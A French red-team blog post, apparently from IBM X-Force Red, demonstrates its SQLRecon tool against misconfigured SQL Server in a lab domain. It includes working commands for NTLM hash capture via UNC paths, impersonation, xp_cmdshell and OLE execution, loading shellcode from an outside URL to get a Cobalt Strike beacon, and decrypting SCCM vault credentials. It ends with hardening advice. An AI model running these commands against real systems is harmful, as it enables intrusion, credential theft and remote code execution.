Au cours de ma carrière, j’ai eu le privilège de jeter un coup d’œil derrière le voile de certaines des plus grandes entreprises du monde. D’après mon expérience, la plupart des secteurs d’activité s’appuient sur des réseaux Windows d’entreprise. En fait, je peux compter sur les doigts d’une main le nombre de fois où j’ai vu un réseau décentralisé de sécurité Zero Trust, un réseau Linux d’entreprise, un réseau macOS ou une alternative à Active Directory (FreeIPA).
Lorsque je navigue dans ces réseaux d’entreprise vastes et souvent complexes, il est courant de découvrir des serveurs Microsoft SQL Server, qui ont généralement été déployés pour soutenir une fonction de l’entreprise. Pour les lecteurs qui ne connaissent pas SQL Server, il s’agit d’un logiciel de base de données relationnelle généralement installé sur un serveur Windows. L’objectif principal de SQL Server est de stocker et de fournir des données aux applications ou aux utilisateurs.
Cet article de blog passe en revue la surface d’attaque présentée par SQL Server et explique comment exploiter les mauvaises configurations et les vulnérabilités à l’aide de l’outil SQLRecon de X-Force Red
Les vulnérabilités et les erreurs de configuration de SQL Server ont été bien documentées. Bien que ces faiblesses semblent avoir toujours existé, le renforcement de SQL Server continue à être souvent négligé par les équipes de défense. Je fais surtout référence au renforcement de la configuration sous-jacente et à la prévention des accès triviaux au service.
L’une des justifications plausibles de cette négligence est qu’il existe des risques plus importants qu’une organisation doit traiter en priorité. En conséquence, le durcissement de SQL Server passe au second plan, car la modification des configurations de base de données de production peut entraîner des problèmes de disponibilité, qui pourraient se traduire par des problèmes opérationnels et finalement affecter la productivité de l’entreprise.
Newsletter sectorielle
Restez au fait des tendances les plus étonnantes du secteur dans le domaine de l’IA, de l’automatisation, des données et bien d’autres avec la newsletter Think. Consultez la Déclaration de confidentialité d’IBM.
Vous recevrez votre abonnement en anglais. Vous trouverez un lien de désabonnement dans chaque newsletter. Vous pouvez gérer vos abonnements ou vous désabonner ici. Consultez la Déclaration de confidentialité d’IBM pour plus d’informations.
L’une des erreurs de configuration les plus courantes que je continue de constater dans les réseaux d’entreprise est la possibilité pour tout objet de domaine authentifié de se connecter au service SQL en tant que compte à faible privilège. Cela nécessite uniquement un contexte de domaine valide. En d’autres termes, un token valide pour un utilisateur du domaine ou un compte d’ordinateur du domaine.
Pour illustrer un exemple, si la station de travail d’un utilisateur professionnel classique est compromise et qu’une route réseau existe vers un SQL Server mal configuré, il est possible pour un adversaire de :
Ce ne sont là que quelques exemples de ce qu’un adversaire peut réaliser lorsqu’il évalue un SQL Server mal configuré dans le contexte d’un domaine. La surface d’attaque présentée par SQL Server dépendra toujours de l’environnement et de la configuration auxquels vous êtes confronté.
Ces derniers temps, les opérateurs Red Team ont été tout simplement bénis par la variété d’abus d’Active Directory qui peuvent être exploités pour élever les privilèges sur les réseaux d’entreprise Microsoft. Cependant, alors que les équipes défensives commencent à maîtriser l’atténuation de ces faiblesses, les voies permettant d’élever les privilèges en abusant d’Active Directory ont naturellement tendance à se tarir.
Malgré tout, nous continuons à avancer et à nous frayer un chemin sur la liste proverbiale des attaques, en cherchant avec optimisme des voies d’escalade qui nous aideront à atteindre nos objectifs. Je suis un peu réticent à avouer que, pendant longtemps, l’attaque de SQL Server était assez bas dans ma liste. J’ai plutôt choisi de donner la priorité à des éléments tels que les espaces de stockage partagés, les applications Web internes, les outils DevOps ou l’infrastructure cloud. Vous pouvez probablement voir où je veux en venir...
À un moment donné en 2022, lors d’une mission, je suis arrivé à un point mort après avoir épuisé toutes les voies d’escalade privilégiées. Cela était dû en grande partie à un environnement exceptionnellement durci. C’est du moins ce que je pensais avant de découvrir une grande ferme de serveurs SQL, où il devait forcément y avoir une erreur de configuration ou une vulnérabilité.
À mon insu à l’époque, et seulement après avoir rédigé cet article de blog, j’ai découvert que Kaspersky avait constaté que les attaques récurrentes utilisant SQL Server avaient augmenté de 56 % en 2022. C’est un chiffre stupéfiant.
En tant qu’opérateur Red Team, j’interagis souvent avec des systèmes que j’ai compromis dans les réseaux de nos clients en utilisant un framework de commande et de contrôle (C2). Les clients avec lesquels nous avons la chance de travailler disposent généralement de programmes de cybersécurité matures, d’équipes défensives compétentes et de contrôles de sécurité modernes, tels que des solutions de détection et de réponse sur les terminaux (EDR).
Plusieurs outils ont été développés au fil des ans pour attaquer SQL Server. Celui vers lequel je me tournais toujours pendant mes jours de test d’intrusion était
Les solutions EDR peuvent être un adversaire redoutable, car elles détectent à merveille les outils open source malveillants conçus pour la sécurité offensive, en particulier ceux qui s’appuient sur PowerShell. Il ne s’agit pas de minimiser les outils PowerShell de post-exploitation, ils ont leur utilité, mais pas pour le problème auquel j’étais confronté dans l’environnement dans lequel je me trouvais.
Le problème auquel j’étais confronté lors de ma mission était que je devais trouver un moyen de me connecter aux serveurs Microsoft SQL et de commencer à les interroger pour déterminer s’il y avait des erreurs de configuration ou des vulnérabilités. Cependant, utiliser l’un des outils de post-exploitation de SQL Server existants, qui s’appuient sur PowerShell, aurait été un moyen infaillible de se faire repérer par l’équipe défensive. Cela est dû à diverses raisons que je ne vais pas détailler, mais PowerShell n’est pas le vecteur idéal pour lancer vos attaques de post-exploitation en raison de fonctionnalités de sécurité telles que l’AMSI, le mode langage restreint et les différents styles de journalisation.. Ce problème est encore aggravé lorsqu’une solution EDR et d’autres contrôles de journalisation et de surveillance sont en place.
Comme alternative, les opérateurs Red Team choisissent souvent C# comme langage pour développer des outils de post-exploitation, car il offre un moyen facile de s’interfacer avec le framework .NET ainsi qu’avec les API Windows.
Je ne suis en aucun cas un développeur C# ou .NET, mais j’en sais à peu près assez pour écrire des outils qui résolvent un problème auquel je suis confronté. Place à , une boîte à outils SQL en C# conçue pour la reconnaissance offensive et la post-exploitation.
Fournisseurs d’authentification
Modules d’énumération
Exécution de commandes, mouvement latéral et élévation de privilèges
Sécurité opérationnelle
Autres
Pour obtenir des informations détaillées sur l’utilisation de chaque technique, veuillez consulter le wiki.
Pour préparer le terrain pour les démonstrations à venir, je vais utiliser un poste de travail Windows 10 compromis qui appartient à Jeff Smith
Le poste de travail de Jeff dispose d’une route réseau vers trois serveurs SQL, chacun exécutant différentes versions ; 2016, 2019 et 2022.
Un lien SQL a été configuré entre
De plus, un lien Active Directory Services (ADSI) existe entre
Enfin, le
Figure 1 : Configuration du réseau
De plus, je vais utiliser Cobalt Strike, un framework de commande et de contrôle populaire, pour effectuer des tâches de post-exploitation depuis le poste de travail compromis de Jeff
Figure 2 : Exécution de la commande whoami
Au moment de la rédaction,SQLRecon domaine, un SPN est défini pour deux comptes différents, comme le montre la capture d’écran ci-dessous.
SQLRecon.exe /e:SqlSpns /d:kawalabs.local
Figure 3 : Découverte des serveurs SQL via la collecte de SPN
Le
SQLRecon.exe /a:WinToken /h:SQL02 /m:info
Figure 4 : Obtention d’informations sur SQL02
Un grand merci à Daniel Duggan (@_RastaMouse)) pour ses contributions aux modules d’énumération dansModules standard
Les modules standard sont exécutés sur une seule instance de SQL Server.
Dans l’exemple suivant, j’utilise le
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami
Figure 5 : Énumération des privilèges SQL pour
Par défaut,
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases
Figure 6 : Énumération des bases de données sur
Vous pouvez vous connecter à d’autres bases de données en spécifiant le nom de la base de données avec l’option /
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"
Figure 7 : Obtention de données de cartes fictives à partir de la
Passons à des modules plus intéressants,
SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects
Figure 8 : Injection d’un chemin UNC
Sur la capture d’écran suivante, nous pouvons voir la connexion établie par
Figure 9 : Obtention du hachage NetNTLMv2 pour
SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe
Figure 10 : Démonstration d’un garde-fou empêchant l’exécution d’une commande
Comme le montre l’image ci-dessus, un garde-fou d’exécution est rencontré et un message d’erreur est reçu indiquant que
SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp
Figure 11 : Démonstration d’un autre garde-fou, où l’insuffisance des privilèges empêche l’exécution des commandes
Comme prévu, le compte à faible privilège
L’usurpation d’identité SQL est une autorisation spéciale qui permet essentiellement à un utilisateur ou à un groupe d’opérer avec l’autorisation d’un autre utilisateur, ainsi qu’avec ses propres autorisations. La capture d’écran suivante provient de la configuration back-end de
Figure 12 :
SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate
Comme le montre la capture d’écran ci-dessous,
Figure 13 : Énumération des comptes pouvant être usurpés sur
Pour démontrer un autre module d’exécution de commande,
Les modules d’usurpation d’identité sont toujours précédés de la lettre
a:WinToken /h:SQL02 /i:sa /m:iEnableOle
Figure 14 : Activation des procédures d’automatisation OLE par usurpation d’identité
Maintenant que les procédures d’automatisation OLE sont activées sur
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"
Figure 15 : Utilisation de PowerShell pour lister un répertoire sur un hôte distant
Comme le montre la capture d’écran ci-dessus, un objet et une méthode OLE générés de manière aléatoire sont créés, la commande malveillante est ensuite exécutée et les objets OLE sont détruits. C’est intentionnel car nous ne voulons laisser aucune preuve de nos actions.
Dans la capture d’écran suivante, nous pouvons voir que la connexion est établie par le
Figure 16 : Obtention du hachage NetNTLMv2 pour
L’exemple suivant illustre l’utilisation de l’usurpation d’identité pour exécuter
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist
Figure 17 : Activation
C’est toujours une bonne pratique de rétablir les configurations dans leur état d’origine.
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp
Figure 18 : Désactivation des procédures d’automatisation OLE et
Figure 19 :
La configuration d’un lien entre une instance de SQL Server et une autre nécessite souvent un ensemble d’identifiants privilégiés pour établir et maintenir cette liaison. Cela est bénéfique pour les adversaires car cela permet d’exécuter des commandes sur le SQL Server lié dans le contexte du compte qui a établi la connexion. Un autre point à prendre en compte est que les serveurs liés peuvent être segmentés du réseau sur lequel opère un adversaire. Cela pourrait offrir l’opportunité de franchir les frontières de segmentation et d’entrer dans une zone réseau aux exigences de sécurité plus élevées.
SQLRecon.exe /a:WinToken /h:SQL02 /m:links
Figure 20 : Énumération des serveurs SQL liés sur
Les modules liés sont toujours précédés de la lettre
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami
Figure 21 : Énumération des privilèges SQL que nous pouvons obtenir sur SQL03 via SQL02.
Comme le montre la capture d’écran ci-dessus, nous opérons dans le contexte du
Tous les modules d’exécution de
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr
Figure 22 : Activation de l’intégration CLR sur
L’intégration CLR permet d’importer des assemblages .NET personnalisés dans SQL Server. Ces assemblies sont stockés à l’intérieur d’une procédure stockée avant d’être exécutés. C’est une belle primitive d’attaque par mouvement latéral.
Sur la capture d’écran suivante, je crée un assembly .NET personnalisé compatible CLR SQL Server appelé
Figure 23 :
Si vous souhaitez en savoir plus sur les assemblies .NET personnalisés compatibles avec le CLR SQL Server, veuillez consulter la section Clr du
Dans la démonstration suivante, j’ai téléchargé
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode
Figure 24 : Obtention d’une balise Cobalt Strike dans un contexte de
Bien entendu, l’exemple précédent exige que
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode
Figure 25 : Obtention d’une balise Cobalt Strike dans le contexte de
Figure 26 :
La configuration d’un lien ADSI depuis une instance de SQL Server vers un contrôleur de domaine Active Directory ne nécessite pas nécessairement des identifiants privilégiés. Cependant, au cours d’opérations réelles, j’ai vu des cas où le principe du moindre privilège n’a pas été appliqué.
Dans l’exemple suivant, j’utilise le
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks
Figure 27 : Énumération des liens sur
Maintenant que nous avons vérifié l’existence d’un lien ADSI sur
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103
Figure 28 : Attaque de collecte d’identifiants ADSI via un double lien
L’une des plus grandes extensions de
À partir de maintenant, je désignerai simplement ECM et SCCM par le terme SCCM.
Dans l’exemple suivant, j’utilise le module databases pour énumérer les
SQLRecon.exe /a:WinToken /h:MECM01 /m:databases
Figure 29 : Énumération des bases de données sur
Comme on le voit sur la capture d’écran ci-dessus, la
Les modules SCCM sont toujours précédés de la lettre
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
Figure 30 : Énumération de tous les utilisateurs pouvant se connecter à SCCM via la base de données SQL Server de SCCM
Il est également possible d’énumérer les tâches configurées dans SCCM en utilisant le
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
Figure 31 : Énumération des tâches configurées dans SCCM via la base de données SQL Server de SCCM
SCCM doit généralement stocker des identifiants dans un coffre-fort, qui sont utilisés pour s’authentifier sur des systèmes ou des ressources dans un environnement afin de déployer des packages logiciels ou d’effectuer toute autre action diverse fournie par SCCM. À l’aide du module
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials
Figure 32 : Obtention des identifiants stockés dans le coffre-fort via la base de données SQL Server de SCCM
Dans la capture d’écran ci-dessus, nous pouvons voir qu’un identifiant a été stocké dans le coffre-fort, et il s’agit de l’identifiant pour le
En utilisant la logique d’Adam Chester (@_xpn_), il est possible de déchiffrer les identifiants stockés dans le coffre-fort SCCM et d’obtenir le mot de passe en clair des comptes stockés. Cette opération nécessite des privilèges d’administrateur local sur le serveur SCCM. Dans la capture d’écran suivante, j’utilise le module
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials
Figure 33 : Déchiffrement des identifiants SCCM stockés dans un coffre-fort
Pour empêcher les attaquants d’abuser de SQL Server, les défenseurs peuvent adopter une approche en couches lors de la mise en œuvre des contrôles de sécurité. Tout d’abord, je vous recommande vivement de lire les directives officielles de Microsoft sur SQL Server bonnes pratiques.
La prochaine étape devrait être de suivre les conseils de prévention, de détection et d’atténuation contenus dans le
Les contrôles de sécurité suivants doivent être pris en compte pour la mise en œuvre au niveau du réseau.
postes de travail et serveurs dans l’environnement.
Les attaques contre SQL Server restent d’actualité dans le paysage actuel de la cybersécurité. Les adversaires font constamment évoluer leurs techniques pour échapper aux contrôles défensifs et, pour ce faire, exploitent de plus en plus de services auxiliaires, tels que SQL Server. Ces attaques sont devenues plus sophistiquées et plus furtives, employant souvent des techniques moins courantes pour contourner les mesures de sécurité traditionnelles.
En abusant de SQL Server, les adversaires peuvent obtenir un accès non autorisé à des données sensibles, manipuler des bases de données et même compromettre des systèmes entiers. Les conséquences de telles attaques peuvent être graves, entraînant des violations de données, des pertes financières et des dommages à la réputation d’une entreprise.
Pour réduire le risque de ces attaques, il est essentiel que les entreprises revoient leurs configurations SQL Server et adoptent les bonnes pratiques en matière de sécurité. De plus, les entreprises devraient investir dans des solutions de sécurité offrant des capacités de surveillance en temps réel, de détection d’anomalies et d’analyse comportementale. Ces solutions peuvent contribuer à détecter les attaques et à y répondre plus efficacement, minimisant ainsi leur impact potentiel sur les données et les systèmes critiques. En prenant des mesures proactives pour sécuriser les environnements SQL Server, les entreprises peuvent réduire considérablement le risque d’être victimes de ces attaques et protéger leurs précieux actifs de données.
Vous pouvez toujours trouver la dernière version stable de
Si vous assistez à la conférence Black Hat Las Vegas et que vous souhaitez en savoir plus, vous pouvez assister à ma session : Utilisation abusive de Microsoft SQL Server avec SQLRecon, le jeudi 10 août à 13 h 00 (heure locale).